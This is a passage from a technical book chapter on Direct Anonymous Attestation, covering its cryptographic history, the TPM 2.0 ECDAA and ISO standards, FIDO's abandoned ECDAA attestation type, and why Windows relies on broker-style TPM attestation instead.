A verifier checks the proof against the Issuer's public key. The verifier learns nothing about f, nothing about the TPM's identity, nothing about which CL signature was randomized, and either gains a linkable pseudonym (if bsn was reused) or no linkability at all (if bsn was fresh).

The architectural picture, set against the brokered Privacy-CA flow described earlier, makes the contrast vivid.

This is the first turning point. Group signatures aimed at anonymity with manager-controlled traceability; TPM attestation needs the opposite: anonymity without any opener, plus user-controlled, per-verifier linkability. The breakthrough is structurally a subtraction (remove the opener) plus a substitution (per-verifier basename pseudonyms in place of manager-controlled opening), not an addition.

On paper, the BCC 2004 construction solved the Privacy-CA trap. In practice, DAA-RSA was hard to ship. The CL signature in the original scheme used strong RSA moduli at 2048 bits. A single Sign operation took several seconds on the TPM 1.2 hardware of the time. The signature itself was approximately 2.5 kilobytes: larger than the entire AIK signature output a Privacy-CA-mediated attestation produced. TPM 1.2 shipped DAA-RSA as an optional capability in the mid-2000s [74]. Almost no platform integrator turned it on. The cryptography worked. The implementation budget did not.

The next decade was about making the construction small enough to deploy. The path was anything but straight.

The evolution: From RSA-DAA to EC-DAA (2007-2013)

Six papers in seven years, two industrial branches, one dead end, one standardized ECDAA-capable scheme. Why was the EC-DAA story so much harder than it should have been?

The honest answer: the entire toolkit of pairing-based cryptography arrived at the same time the TPM industry needed it, and the field discovered in real time that not every choice of pairing was safe. The path from BCC 2004 to the construction TPM 2.0 later standardized for ECDAA-capable implementations runs through five waypoints, each addressing the problem the previous one created. Read the section as a narrowing funnel, not as a triumphal deployment story: RSA-DAA proved the privacy primitive; EPID proved one industrial revocation strategy; pairing-based DAA made signatures small enough for firmware; the CMS proof flaw forced the community to separate symmetric-pairing intuition from asymmetric-pairing security; CPS split the protocol across TPM and host; BFGSW and CDL then repaired the formal model. The cryptography became mature just as production platforms learned to prefer brokered PKI. That historical mismatch is why this chapter keeps ECDAA framed as optional, rarely exposed, and almost never verified in mainstream Windows deployments.

Brickell-Li 2007: EPID and signature-based revocation

In 2007 Ernie Brickell, now leading Intel's trusted-computing work, and Jiangtao Li published "Enhanced Privacy ID: A Direct Anonymous Attestation Scheme with Enhanced Revocation Capabilities" at WPES 2007 [229]. The journal version appeared at IEEE TDSC in 2012 [230]. The single feature EPID added was a revocation list called Sig-RL: a list of signatures the issuer wished to disavow. A verifier, given a signature σ and a Sig-RL containing entries σ_1,..., σ_k, could prove that σ was not produced by the same TPM as any σ_i: without learning the linking information itself.

EPID became Intel's production attestation primitive. Wikipedia records the deployment scale: "It has been incorporated in several Intel chipsets since 2008," and "at RSAC 2016 Intel disclosed that it has shipped over 2.4B EPID keys since 2008" [231]. EPID is what Intel SGX enclaves used to attest, before SGX attestation migrated to the vendor-CA DCAP architecture. EPID is what certain Intel-platform Widevine L1 implementations use to attest content-decryption modules. The Intel EPID SDK (the reference implementation) was eventually marked public-archive on GitHub [232]. The Wikipedia entry notes that the original EPID 2.0 specification was contributed by Intel into ISO/IEC 20008 and 20009 under royalty-free terms [231].

EPID is not exactly DAA. EPID is a DAA variant with the Sig-RL revocation layer added. The Chen-Page-Smart construction that TPM 2.0 standardized for ECDAA-capable implementations is closer to BCC 2004 plus an elliptic-curve substrate; EPID 2.0 is closer to BCC 2004 plus EC plus Sig-RL plus Intel's specific basename and key-management conventions. The two converge at the cryptographic core and diverge at the deployment surface.

Brickell-Chen-Li 2008: The first pairing-based DAA

At the TRUST 2008 conference, Ernie Brickell, Liqun Chen, and Jiangtao Li published "A New Direct Anonymous Attestation Scheme from Bilinear Maps": the first DAA scheme constructed over bilinear pairings instead of strong RSA [233]. Signature size dropped by an order of magnitude relative to BCC 2004, from roughly 2.5 kilobytes to a few hundred bytes [233]. TPM-side sign time, on hardware that supported elliptic-curve arithmetic, came down from seconds to fractions of a second [233]. The construction used symmetric (Type-1) pairings (pairings where the two input groups G_1 and G_2 are the same) which the implementation community would, two or three years later, decide were too inefficient for production TPM hardware.

Chen-Morrissey-Smart 2008: The asymmetric proposal and its proof flaw

Pairing 2008 hosted the next move. Liqun Chen, Paul Morrissey, and Nigel Smart published "Pairings in Trusted Computing" [235], proposing a DAA scheme on asymmetric Type-3 pairings: the kind that admit Barreto-Naehrig curves and the speed-ups TPM hardware needed. The same authors published a companion ProvSec 2008 paper "On Proofs of Security for DAA Schemes" providing the security argument [236].

Two years later, in Information Processing Letters, Liqun Chen and Jiangtao Li published "A note on the Chen-Morrissey-Smart Direct Anonymous Attestation scheme" [237] showing that the CMS asymmetric-pairing construction had a flawed proof. The cryptographic intuition was correct; the proof technique used an assumption that did not hold in the asymmetric-pairing setting the construction relied on.

Chen-Page-Smart 2010: The scheme TPM 2.0 standardized for ECDAA-Capable implementations

The fix arrived at CARDIS 2010 in Passau in April 2010 [238]. Liqun Chen, Dan Page, and Nigel Smart published "On the Design and Implementation of an Efficient DAA Scheme" [234] [239], proposing an asymmetric-pairing DAA over Barreto-Naehrig curves with a Sign protocol split between the TPM and the host. The TPM, in the new design, performed only the cryptographic operations that absolutely required custody of the secret f: it produced commitment points and computed a Schnorr-style response over those commitments. The host (a comparatively powerful general-purpose CPU sitting in front of the TPM) composed the Fiat-Shamir challenge, performed the pairing computations, and assembled the final signature.

The Chen-Page-Smart construction is the scheme TPM 2.0 standardized for ECDAA-capable implementations. That distinction matters: the standard names the algorithm and command surface, but the PC Client Platform profile later made ECDAA optional, and many Windows-class surfaces do not expose it. The Wikipedia DAA article makes the attribution direct, in a sentence that is itself the most-cited single primary-source extract in this chapter:

Chen, Page, and Smart proposed a new elliptic curve cryptography scheme using Barreto-Naehrig curves. This scheme is implemented by both EPID 2.0 and the TPM 2.0 standard.: Wikipedia, Direct Anonymous Attestation [208]

BFGSW 2013 and SRC 2015: The formal closure

The cryptographic engineering of EC-DAA was done by 2010. What the field still owed itself was a clean security model: one definition of "secure DAA" that captured the user-controlled-linkability property and the TPM/host split, against which any candidate scheme could be evaluated.

In 2013 David Bernhard, Georg Fuchsbauer, Essam Ghadafi, Nigel Smart, and Bogdan Warinschi published "Anonymous attestation with user-controlled linkability" in the International Journal of Information Security [226] [242]. The BFGSW paper formalized the user-controlled-linkability property the BCC 2004 abstract had described in prose, introduced a clean separation of "pre-DAA signing" (TPM-side operations) from "DAA signing" (TPM + host composition), and proved the security of a representative construction in the resulting model.

In 2015, Ben Smyth, Mark Ryan, and Liqun Chen published the retroactive analysis that closed the BCC 2004 privacy bug [227]. By 2015 the cryptography was, formally, settled.

In 2016 Jan Camenisch, Manu Drijvers, and Anja Lehmann revisited the construction at TRUST 2016 in "Anonymous Attestation Using the Strong Diffie Hellman Assumption Revisited" [243] [244], giving a tighter security argument under the q-SDH assumption and providing a fix for a Diffie-Hellman-oracle issue in the TPM 2.0 ECDAA interface that "One TPM to Bind Them All" would document in 2017 [245]. The CDL16 scheme is what most modern DAA library code references as the canonical construction.

By 2013 the cryptography was complete. The standards organizations took the construction and made it official: in two different specifications, on two parallel tracks.

The TPM 2.0 ECDAA surface (2014-present)

If you own a Windows laptop with a TPM 2.0, this section is the part of the specification you have almost certainly never used; your particular chip may not implement or expose it at all. What does the spec actually say?

The TPM 2.0 Library Specification, the canonical document published by the Trusted Computing Group, is a four-part normative reference [83]. Part 1 (Architecture) describes the threat model and the mathematical primitives. Part 2 (Structures) defines the data types every TPM command accepts and returns. Part 3 (Commands) defines the commands themselves. Part 4 (Supporting Routines) gives a reference C implementation. The ECDAA surface lives across all four parts.

The protocol split matters. The TPM, in the CPS 2010 construction, holds the secret f and must perform exactly two cryptographic operations on it: produce a freshly randomized commitment to f (via TPM2_Commit), and produce a Schnorr response that proves knowledge of f modulo the verifier's challenge (via TPM2_Sign). Everything else (the pairing computations, the curve arithmetic in G_T, the Fiat-Shamir hash, the final signature assembly) happens on the host CPU. This is the only reason the construction is practical on a TPM. A monolithic Sign that did pairing arithmetic inside the chip would be unshippable; the split offloads the expensive operations onto silicon that has them for free.

The Join protocol (the one-time exchange between the Issuer and the TPM that produces the long-lived credential) piggybacks on a TPM 2.0 command pair already present in every Windows attestation flow: TPM2_MakeCredential and TPM2_ActivateCredential [83]. The Issuer wraps the DAA credential under an encryption key derived from the TPM's Endorsement Key, ensuring that only the legitimate TPM (the one that holds the EK private key) can decrypt the credential and bind it to its internal f.

Part 1 Annex C.5 contains the informative mathematical description: the actual ECDAA verification equation, the basename-pseudonym derivation, the proof-of-knowledge template. Part 3 contains the normative command definitions. An implementer who reads only the Part 3 command definitions without reading Annex C.5 will have correct byte-buffer-level semantics and no idea what the protocol is computing; an implementer who reads only Annex C.5 without the normative command definitions will have correct math and the wrong API.

The implementation surface, gathered into one place:

A practical capability probe is therefore two-stage. First ask whether the TPM reports TPM_ALG_ECDAA = 0x001A; then ask whether it reports TPM_ECC_BN_P256 = 0x0010. ECDAA without the pairing-friendly BN curve is not a usable TPM 2.0 ECDAA path for the construction described here, and BN-P256 without an exposed ECDAA signing scheme is merely a curve identifier. Passing both checks is still not deployment: Join requires an Issuer, credential provisioning, revocation policy, verifier libraries, and application policy. Failing either check is enough to explain why the Windows production stack routes around ECDAA. The two-stage probe teaches the decision logic, not a supported Windows API, because Microsoft ships no BCryptDirectAnonymousAttestation or NCryptDaaSign wrapper.

A sourcing caveat belongs here too. The TCG resource pages for the TPM Library Specification and PC Client Platform profile sometimes reject automated fetches with HTTP 403. The claims this chapter uses from those specifications are narrow and audit-stable: the algorithm identifier, the BN-P256 curve identifier, the command names, and the PTP changelog line making ECDAA optional. Treat the canonical TCG documents as the normative source even when a non-browser fetcher cannot retrieve them directly [83] [115].

The TCG published the TPM 2.0 Library Specification in 2014. From 2014 through early 2020, the PC Client Platform TPM Profile: the document that says "to ship a TPM 2.0 in a PC-class device, these algorithms must be present": listed TPM_ALG_ECDAA as mandatory-if-the-platform-supports-elliptic-curve-cryptography. In v1.04 (released February 2020) the TCG PTP working group made a quiet but consequential change. The changelog records the line verbatim: "Made TPM_ALG_ECDAA and TPM_ALG_ECSCHNORR optional." The same designation has carried through v1.06 RC1 (January 2025) and v1.07 RC1 (December 2025) [115]. After February 2020, an OEM can ship a Windows-class TPM 2.0 platform that does not implement ECDAA at all and remain conformant.

The Pluton question is the second hedge. Microsoft Pluton is the security processor Microsoft has been shipping in successive Windows-class platforms since AMD's Ryzen 6000 in 2022, in AMD Ryzen 7040 (Phoenix) in 2023, in Qualcomm Snapdragon X Elite in 2024, and in Intel Core Ultra 200V (Lunar Lake) in 2024 and successive Intel Core Ultra generations. Pluton exposes a TPM 2.0 personality. The Microsoft Learn documentation page enumerates the cryptographic algorithms the processor exposes and the platform-security primitives it implements [6].

The page contains zero occurrences of ECDAA or TPM_ALG_ECDAA. The honest framing here is not "Pluton does not implement ECDAA" (the documentation neither confirms nor denies it) but "Pluton's published surface does not advertise ECDAA." That is the hedged statement this chapter carries from its opening to its FAQ.

The spec was written. Some implementations shipped. The TCG was satisfied. So why does no one verify ECDAA signatures?

The standards bridge: ISO/IEC 20008 and 20009

There is a difference between a TCG specification section number and an ISO/IEC mechanism identifier. The difference is the price of admission to a Common Criteria protection profile and to most government procurement contracts.

ISO/IEC 20008 is the international-standards anchor for anonymous digital signatures. It comes in three parts. Part 1 ("General") sets the framework and terminology [246]. Part 2 ("Mechanisms using a group public key") catalogs the specific anonymous-signature schemes the international community has standardized, and Mechanism 4 is the EPID-derived elliptic-curve DAA construction that aligns with the TPM 2.0 ECDAA surface [247]. Part 3 ("Mechanisms using multiple public keys") catalogs a different family of schemes that is not the focus of this chapter.

A note on the title, because it is easy to get wrong. ISO/IEC 20008-2 is sometimes mis-cited as "anonymous signatures with message recovery." That phrasing belongs to a different standard, ISO/IEC 9796. The verified ISO catalog title for 20008-2 is, verbatim, "Information technology (Security techniques) Anonymous digital signatures: Part 2: Mechanisms using a group public key" [247].

ISO/IEC 20009 is the companion standard for authentication. Where 20008 standardizes signatures, 20009 standardizes the challenge-response protocols that wrap signatures into entity-authentication exchanges. Part 2 ("Mechanisms based on signatures using a group public key") is where TPM-style attestation lives in ISO terminology [248]. A FIDO authenticator using an anonymous group-signature attestation (ECDAA or EPID) is, in ISO-speak, executing a 20009-2 mechanism that wraps a 20008-2 signature; ordinary TPM-backed Kerberos and key-attestation flows use non-anonymous keys and are separate protocol designs.

The procurement reason ISO standardization mattered is structural. A Common Criteria Protection Profile cannot, in the general case, reference a TCG specification section number. It can reference an ISO mechanism identifier. The Federal Information Processing Standards 140-3 evidence package for a cryptographic module must, in many cases, demonstrate that the cryptographic primitives the module implements are members of an internationally recognized standard family. The European Cyber Resilience Act, drafted in 2024 and applicable in stages from 2027 onward, treats compliance with a recognized international standard as one of the routes to a presumption of conformity. ISO/IEC 20008-2 Mechanism 4 is the door TPM 2.0 ECDAA walks through to be admissible in those regimes.

Standardization was complete by 2014. Cryptographic primitive: CPS 2010. Security model: BFGSW 2013. ISO mechanism: 20008-2 Mechanism 4. TPM normative surface: TPM_ALG_ECDAA, TPM_ECC_BN_P256, TPM2_Commit, TPM2_Sign. Every box was checked. The next question (the one the standardization community could not answer on its own) was whether anyone would write a verifier.

The FIDO bet that failed (2017-2021)

In 2018, the FIDO Alliance bet that ECDAA was the missing privacy story for WebAuthn (the WebAuthn and Passkeys chapter, Chapter 21). Three years later, W3C took the bet off the table.

The bet was not casual. FIDO had a real problem. WebAuthn authenticators need to attest that they are genuine hardware: the YubiKey hardware tokens, the Windows Hello platform authenticators (the Windows Hello chapter, Chapter 20), and the Touch ID and Face ID modules. The attestation surface FIDO Alliance had inherited from U2F was Basic Attestation: every authenticator in a manufacturing batch of 100,000 or more units shared one attestation key [249], so a relying party that checked the attestation learned only "this is one of 100,000-plus YubiKey 5 NFCs," not which device specifically. The cohort-size rule gave Basic Attestation a workable operational privacy property. But there was an architectural fork in the road for an organization that wanted cryptographic attestation privacy without the cohort-key fan-out problem.

FIDO Alliance picked the cryptographic fork. The FIDO ECDAA Algorithm v2.0 specification was published as an Implementation Draft on February 27, 2018 [214]. The document is the most carefully written specification of the DAA contract from a deployment perspective; the editor was Rolf Lindemann at Nok Labs. The motivation section quoted earlier: the FIDO ECDAA v2.0 draft on Privacy-CA load and aggregation: names the Privacy-CA failure mode in unusually direct terms.

WebAuthn Level 1 reached W3C Recommendation status on March 4, 2019 [250]. Section 8 defined six attestation statement formats by fmt identifier: packed, tpm, android-key, android-safetynet, fido-u2f, and none. ECDAA was not a separate format; the WebAuthn-1 §6.4.3 attestation-type list (Basic, Self, AttCA, ECDAA, None) carried ECDAA as an attestation type supported within the packed and tpm formats. An independent verification of the live HTML finds dozens of occurrences of the string "ecdaa" in the Level 1 Recommendation. ECDAA had its own type identifier, its own signing logic, and its own verification procedure embedded inside the two formats that mattered [250].

WebAuthn Level 2 reached W3C Recommendation status on April 8, 2021 [212]. The same independent verification against the live Level 2 HTML returns zero occurrences of "ecdaa." Every reference (the type identifier, the signing rules, the verifier procedure that the packed and tpm formats invoked) was removed in a single editorial pass. The Yubico migration guide for its Java WebAuthn server library makes the vendor view explicit: "This attestation type was removed from WebAuthn Level 2. ECDAA support has not been implemented in this library, so this value could in practice never be returned" [251].

Why did the bet fail? Four reasons, each visible from the public record.

First, no major browser ever shipped an ECDAA verifier inside the packed or tpm statement format paths. Chromium, Firefox, and Safari implemented WebAuthn with packed, tpm, fido-u2f, and android-safetynet attestation, but the ECDAA branch within packed and tpm stayed unimplemented. The Yubico migration guide quoted above is the vendor-side confirmation of an industry-wide outcome [251].

Second, the largest authenticator vendors picked the Basic and AttCA attestation types instead of ECDAA. YubiKey 5 series ships with the packed format using a Basic Attestation key shared across a 100,000+-unit cohort [252] [249]. Feitian, Google Titan, and other major FIDO2 authenticator vendors ship Basic Attestation under the same FIDO certification-policy cohort rule [249]. Microsoft Hello platform authenticators on Windows TPM-backed devices use the tpm attestation statement format with an AIK that a Microsoft-operated CA certifies: the AttCA type, functionally a Privacy-CA [253] [199]. The vendor base from which a WebAuthn relying party would actually see an attestation statement, in practice, never produced an ECDAA one.

Third, FIDO ECDAA v2.0 never advanced beyond Implementation Draft. The URL slug for the document literally encodes its status: fido-v2.0-id-20180227. The id-20180227 segment names the format <status>-<date>, and "id" is "Implementation Draft." It never reached "Proposed Standard" or "Approved Specification" in FIDO's process [214]. A relying party making a long-term technology bet on an attestation statement format that has never advanced past Implementation Draft has no reason to invest in a verifier library.

Fourth, FIDO Basic Attestation's cohort-size rule (100,000+ authenticators per attestation group key, enforced contractually on the certified-authenticator side) gave the underlying privacy concern an operational answer [249]. A WebAuthn relying party that sees a Basic Attestation signature learns "this is one of at least 100,000 identical authenticators": a cohort large enough that the relying party cannot, in practice, recover individual identifying information from the attestation alone. The cohort rule does not require pairing arithmetic, does not need a verifier library, and works with the same packed and tpm attestation formats every relying party already implements.

This is the second turning point. A standardized cryptographic primitive backed by FIDO, three browser vendors, and a publicly authored attestation format still did not deploy: ECDAA standardized everything except the social machinery, and the social machinery is where production attestation actually lives.

If a consortium with FIDO's privacy mandate, browser-vendor coalition, and authenticator-vendor base could not generate enough relying-party momentum to keep ECDAA in WebAuthn, what chance did the silent option in TPM 2.0 ever have? The answer requires walking the Microsoft attestation stack.

Windows: TPM attestation without ECDAA

Microsoft has shipped over a billion Windows TPM 2.0 platforms [254] [255]. Microsoft has not shipped a Windows DAA API. The two facts are not in tension. They are the story.

The shipping Windows attestation stack is documented and unambiguous. Microsoft Azure Attestation is the production-grade attestation service. Its public architecture document describes the protocol in five paragraphs that read, line for line, like TPM 1.1 from 2003 [199]:

"Every TPM ships with a unique asymmetric key called the endorsement key (EK)... A certification authority (CA) establishes trust in the TPM either via EKPub or EKCert... A device proves to the CA that the key for which the certificate is being requested is cryptographically bound to the EKPub and that the TPM owns the EKPriv. The CA issues a certificate with a special issuance policy to denote that the key is now attested as protected by a TPM."

The architecture is the Privacy-CA architecture. The Microsoft-operated CA inputs an EK certificate and outputs a JWT that downstream Microsoft services (Defender for Endpoint device-compliance, Intune Conditional Access policies, Entra ID conditional access, customer-defined Azure Attestation policies) consume. The Windows Health Attestation Service, the older Microsoft surface that predated Azure Attestation, used the same broker model with different deployment shape. The Defender for Endpoint device-compliance flow that gates Conditional Access on attested TPM boot state consumes WHAS or Azure Attestation JWTs, not raw DAA quotes.

Microsoft Pluton's published surface tells the same story from the silicon side. Pluton is the security processor Microsoft has been shipping in successive Windows-class platforms. Its Microsoft Learn page enumerates the cryptographic algorithms and platform-security primitives the processor exposes [6]. The page is exhaustive about TPM 2.0 baseline algorithms (RSA-2048, ECDSA over NIST P-256, SHA-2 family). It contains zero occurrences of ECDAA, of TPM_ALG_ECDAA, or of any phrase like "anonymous attestation." Insufficient public evidence to assert that Pluton implements ECDAA; sufficient evidence to assert that Pluton's published surface does not advertise it.

The Windows API surface gap is the third piece of evidence. The TPM Base Services (Tbsi_* functions in Tbs.dll) expose TPM2_Commit and TPM2_Sign to user-mode applications, but only as raw command-buffer submissions. There is no BCryptDirectAnonymousAttestation. There is no NCryptDaaSign. There is no Web Authentication API wrapper that surfaces ECDAA.

The TPM Platform Crypto Provider (PCP) that Windows ships as part of the Cryptography Next Generation (CNG) framework supports RSA and ECDSA TPM-backed keys but does not surface ECDAA. The TSS.MSR open-source TPM stack from Microsoft Research does not ship a DAA wrapper. An application developer who wants ECDAA on Windows today writes raw TBS_SUBMIT_COMMAND byte buffers against the documented TPM 2.0 command numbering, manages the Join protocol against an Issuer of their own provisioning, and verifies the resulting signatures with a library they wrote themselves or pulled from a research-grade implementation.

The interesting question is why. Microsoft has never published a "we considered DAA and chose the broker model because..." statement. Treating that absence honestly, the four reasons below are inferences from observable architecture decisions, not Microsoft-engineer-published rationales. This chapter labels them as such.

First, operational simplicity. A hosted CA with audit logs is more debuggable than a per-relying-party DAA verifier with no central audit point. When a device fails attestation in production, the on-call engineer reading the Azure Attestation logs can answer "why did this device fail?" in seconds; the same question against a DAA verifier requires reasoning about pairing arithmetic, basename derivation, and Issuer-credential validity. Engineering organizations choose architectures whose failure modes they can debug.

Second, revocation economics. A Privacy-CA can revoke an AIK centrally: stop issuing fresh attestation tokens for that device, or publish its certificate status through CRL or OCSP. Revoking a DAA credential in the TPM 2.0 ECDAA construction requires either EPID-style signature-based revocation: which the TPM 2.0 ECDAA scheme does not provide, or a private-key list distributed to every relying party (extracting the private key from the misbehaving TPM is presumed possible after compromise, and verifiers then check that the signing key is not on the list). The CA's revocation primitive is centralized status publication. The DAA revocation primitive is an SDK rollout to every consumer of the verification library.

Third, the relying-party stack. DAA verifier libraries are not present in any mainstream cloud platform's SDK. The .NET CNG surface, the Java JCA, the Python cryptography library, the Go crypto standard library, the Rust ring and dalek ecosystems. None ship an ECDAA verifier. X.509 / PKI verifier libraries, by contrast, are everywhere. A relying party building on top of mainstream SDKs gets PKI verification for free; gets DAA verification for nothing close to free.

Fourth, the Windows API surface gap is itself the obstacle. Adding a BCrypt / NCrypt / WebAuthn DAA wrapper to Windows requires designing a new key-storage provider contract, defining the JOIN-protocol service interface, writing the conformance test suite, drafting the security documentation, and rolling it out on the Windows release calendar. That is a project the size of Windows Hello's. Microsoft has not, to public knowledge, prioritized it.

The deeper reading (the one that makes Microsoft's choice look structural rather than accidental) starts from a comparison the four inferences above already pointed toward.

This is the third turning point. Cryptographic superiority does not, on its own, win in production, and Microsoft's non-adoption of DAA is not an oversight or a missed product opportunity: the deployment-economics asymmetry is structural. A broker-mediated attestation flow reduces, end-to-end, to standard X.509 plumbing every cloud SDK already ships, while a DAA-mediated flow requires bespoke verifier libraries, bespoke revocation infrastructure, bespoke debugging tooling, and bespoke incident-response runbooks. Cloud-platform organizations have spent the last ten years building world-class operational machinery for X.509 attestation. They will not throw it away for a cryptographic property no compliance regime currently demands.

If the broker calculus is this durable, is there any future world in which DAA wins? Two, and both are research-stage with decade-long horizons.

Documented evidence surface

This chapter has no captured evidence block. The silicon-tier rule is strict: no higher-confidence block appears unless a real capture file exists and the chapter quotes it verbatim. The surface below is therefore documented-only. It shows what a reader can run, what Microsoft documents the command as returning, and how that local evidence fits into the quote and Azure Attestation flow.

IsPresent                : True
PublicKey                : System.Security.Cryptography.AsnEncodedData
PublicKeyHash            : 70769c52b6e24ef683693c2a0208da68d77e94192e1f4080ae7c9b97c6caa681
ManufacturerCertificates : {[Subject]
OID.2.23.133.2.3=1.2,
OID.2.23.133.2.2=C4T8SOX3.5,
OID.2.23.133.2.1=id:782F345A
...
[Issuer]
CN=Contoso TPM CA1, OU=Contoso Certification Authority, O=Contoso, C=KR
...
[Thumbprint]
77378D1480AB48FEA2D4E610B2C7EEF648FEA2 (truncated for illustration)
}
AdditionalCertificates   : {}

That output is the root of the authenticity leg. IsPresent says Windows knows an endorsement public key. PublicKeyHash is the reproducible identifier of that public key under SHA-256. ManufacturerCertificates is the certificate material a CA can use when deciding whether this TPM is genuine. On virtual machines, read the result with the vTPM caveat in mind: the vTPM endorsement key may be issued by the host or cloud platform rather than by a discrete TPM manufacturer. It can still be valid evidence inside that platform’s trust boundary, but it is not the same physical-silicon claim.

The next object in the chain is the quote. In TPM 2.0 terms, a quote is not just "PCRs signed by an AIK." The signed digest covers a TPMS_ATTEST structure. For a quote, TPMS_ATTEST contains the magic value that identifies TPM-generated attest data, the attestation type TPM_ST_ATTEST_QUOTE, the qualified name of the signing key, the verifier-provided extraData nonce, clock and reset counters, firmware-version information, and a TPMS_QUOTE_INFO payload containing the PCR selection and a digest over the selected PCR values [83]. The AIK signature is over the marshaled attest structure, not over a human-readable report. A verifier that checks only a displayed pcr0 string has skipped the security boundary; the boundary is the signature over TPMS_ATTEST plus replay of the event log into the selected PCR digest.

A production Azure Attestation-style evaluation adds three more checks. First, authenticity: the service validates that the AIK is TPM-bound by walking from EK evidence through the broker's certification policy. Second, freshness: the nonce in extraData must match the relying party's challenge, or the quote might be a replay from a prior healthy boot. Third, policy: the PCR selection, event-log replay, Secure Boot state, Code Integrity state, debug flags, and VBS indicators are interpreted into claims such as aikValidated, secureBootEnabled, codeIntegrity, and related device-health fields [199] [207]. Those claims are the objects Conditional Access and MDM policy usually consume. ECDAA would change the authenticity leg (issuer credential plus zero-knowledge proof instead of EK-to-AIK certification) but it would not remove the need to parse TPMS_ATTEST, verify freshness, replay measurements, and make policy decisions.

A useful reader exercise is therefore three-layered. Run the documented EK command to see the identity root Windows can expose. Obtain or inspect a quote path from your attestation service to locate the TPMS_ATTEST fields and the nonce. Then compare the service's issued claims against the boot policy you think you are enforcing. If those three layers do not line up (EK/AIK authenticity, quote freshness, and PCR/event-log policy), the attestation story is incomplete no matter how elegant the underlying TPM primitive is.

Theoretical limits and open problems

This is the boundary section: it separates the property ECDAA gives from the properties marketing language is tempted to imply. DAA gives anonymous, issuer-backed proof that the signer holds a valid group credential bound to TPM-protected secret material. It does not make a compromised chip honest, erase linkability after a basename has been reused, make revocation free, survive a cryptographically relevant quantum computer, or automatically fit confidential-computing deployments whose privacy and audit requirements differ from PC-client attestation. Four problems organize the active research community in 2026: failure containment after f leaks, DH-oracle-safe protocol driving, post-quantum anonymous credentials, and whether group-signature attestation helps or hurts VM-scale confidential computing.

What DAA cannot do

The first honest statement is the negative one. A correctly implemented DAA scheme does not prevent a compromised TPM from signing for the cohort it belongs to. The EK certificate attestation must be honest at manufacture time; if a TPM's secret membership value f leaks to an attacker (through fault injection, through side-channel extraction, through a firmware backdoor), the attacker can produce ECDAA signatures indistinguishable from legitimate ones until the TPM's f is added to a revocation list. The same constraint applies to every group-signature scheme.

A second hard limit is per-basename linkability. The user-controlled-linkability property gives a TPM the choice of linkable or unlinkable signing, but once a verifier has seen the pseudonym N_V = ζ^f mod Γ for a particular (TPM, bsn) pair, the linkage for that basename is permanent. A misbehaving TPM that wants its history with a particular relying party forgotten cannot, by signing under a different basename, retroactively unlink past sessions.

A third limit is rogue-key scalability. The TPM 2.0 ECDAA scheme detects rogue keys by checking each signature against a list of compromised-f values the verifier maintains. For small lists this is cheap. For very large lists: imagine a deployment where 1% of the chip population leaks f to attackers and the verifier must check every signature against ten million revoked values: the constant factor matters. EPID's Sig-RL mechanism uses signature-based revocation that scales better; the TPM 2.0 ECDAA scheme does not include it.

The one-TPM-to-bind-them-all fix

In 2017 a team consisting of Jan Camenisch, Liqun Chen, Manu Drijvers, Anja Lehmann, David Novick, and Rainer Urian published "One TPM to Bind Them All: Fixing TPM 2.0 for Provably Secure Anonymous Attestation" at IEEE S&P 2017 [245]. The paper demonstrated a Diffie-Hellman-oracle attack against the TPM 2.0 ECDAA interface as shipped: a malicious host could query the TPM in a way that gave the host a DH-oracle relative to the TPM's secret f, effectively breaking the unlinkability property. The proposed fix had been published the previous year by Camenisch, Drijvers, and Lehmann at TRUST 2016 [243] [244]; library implementations of DAA published from 2017 onward incorporate the fix.

Post-Quantum DAA

Shor's algorithm is fatal to DAA. Every classical DAA construction (BCC 2004, BCL 2008, CPS 2010, CDL 2016) relies on the hardness of discrete logarithms in elliptic-curve groups, the hardness of strong-RSA factoring, or both. A cryptographically relevant quantum computer breaks all of them. Post-quantum DAA is therefore active research, with no production deployment as of 2026. Three candidate families are being actively explored:

• Symmetric-primitive DAA. Dan Boneh, Saba Eskandarian, and Ben Fisch presented "Post-quantum EPID Signatures from Symmetric Primitives" at CT-RSA 2019 [257], building a post-quantum group signature from one-way functions and Merkle trees. The construction has classical post-quantum security guarantees but pays a steep size cost.
• Lattice-based DAA. Rachid El Bansarkhani and Ali El Kaafarani published "Direct Anonymous Attestation from Lattices" as IACR ePrint 2017/1022 [258], the earliest such proposal in the literature. The state-of-the-art lattice DAA construction is the 2024 Collaborative Segregated NIZK ("CoSNIZK") work by Liqun Chen, Patrick Hough, and Nada El Kassem [259], achieving signatures of approximately 38 kilobytes: an order of magnitude smaller than the earliest lattice proposals but still two orders of magnitude larger than CPS 2010 ECDAA.
• Hash-based DAA. Liqun Chen, Changyu Dong, Nada El Kassem, Christopher Newton, and Yalan Wang published "Hash-Based Direct Anonymous Attestation" at PQCrypto 2023 [260], building DAA from SPHINCS+-style stateless hash-based signatures. Size and speed remain unfavorable for TPM 2.0 firmware budgets.

The blocker for any of these reaching production TPM firmware is not academic. The TPM 2.0 normative algorithm set does not include lattice primitives. A post-quantum DAA in TPM 2.0 would require introducing post-quantum signature primitives (ML-DSA, FN-DSA/Falcon, or SLH-DSA) and new TPM algorithm identifiers into the spec, mandating support in the PC Client Platform TPM Profile, and rolling out across the OEM TPM-vendor base. That is, at minimum, a three-to-five-year standards effort that the TCG has not, as of late 2025, publicly committed to. CoSNIZK at 38 kilobytes is also two to three times larger than the largest signature any deployed TPM 2.0 firmware budgets for; the TPM-side compute time at quantum-safe parameter sets is currently measured in seconds rather than tens of milliseconds.

DAA for confidential computing

The other future-world thread is confidential computing: the family of CPU-anchored isolated-execution primitives (Intel SGX, Intel TDX, AMD SEV-SNP, ARM CCA) that need their own attestation surfaces, the subject of the Confidential VMs chapter (Chapter 28). Intel SGX attestation initially used EPID and has since migrated to DCAP, a vendor-CA broker similar in shape to Microsoft Azure Attestation. AMD SEV-SNP and Intel TDX use vendor-rooted PKI from the start.

Whether DAA-style group-signature schemes are appropriate for VM-level attestation, where cohorts are small (per-region TDX hosts in a given hyperscaler datacenter), where the verifier is often a small set of well-known cloud-platform endpoints, and where traffic-analysis leakage between confidential VMs and Privacy-CA-like services is itself a threat, is an open architectural question. The 2026 default is "vendor-CA broker"; the academic community continues to argue that cryptographic DAA would be a better match for the threat model. Production has not, so far, agreed.

A note on Java Card DAA prototypes. A small number of academic implementations of DAA on Java Card secure elements appeared between 2014 and 2017: Camenisch and others published smartcard-class implementations as proofs of concept. None reached production deployment. The reasons appear to be the same operational-economics asymmetry that limits TPM 2.0 ECDAA adoption: Java Card environments lack the relying-party verifier libraries that would consume the output. This is inference; no Java Card vendor has, to public knowledge, published a "we evaluated DAA and chose not to ship it" statement.

